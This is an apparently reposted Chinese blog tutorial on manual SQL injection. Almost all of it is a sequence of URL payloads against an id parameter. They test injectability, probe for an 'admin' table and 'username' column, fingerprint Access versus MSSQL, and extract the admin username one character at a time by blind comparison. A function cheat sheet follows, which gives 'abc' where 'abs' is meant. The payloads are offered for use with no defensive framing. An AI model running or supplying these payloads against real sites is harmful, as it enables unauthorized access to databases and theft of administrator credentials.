手工检测可否注入

  • 发布于:2020-12-31
  • 188 人围观
文章出处:http://blog.powers.com.cn/forum_posts.asp?TID=333&PN=4
文章作者:yjd

□ 检测可否注入
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http://url/xx?id=1111 and 1=1 (正常页面)
http://url/xx?id=1111 and 1=2 (出错页面)

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□ 检测表段的
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http://url/xx?id=1111 and exists (select * from admin)

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□ 检测字段的
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http://url/xx?id=1111 and exists (select username from admin)

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□ 检测ID
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http://url/xx?id=1111 and exists (select id from admin where ID=1)

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□ 检测长度的
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http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

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□ 检测长度的
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http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

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□ 检测是否为MSSQL数据库
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http://url/xx?id=1111 and exists (select * from sysobjects)

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□ 检测是否为英文
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(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)


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□ 检测英文的范围
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(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

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□ 检测那个字符
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(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)



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常用函数
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Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间

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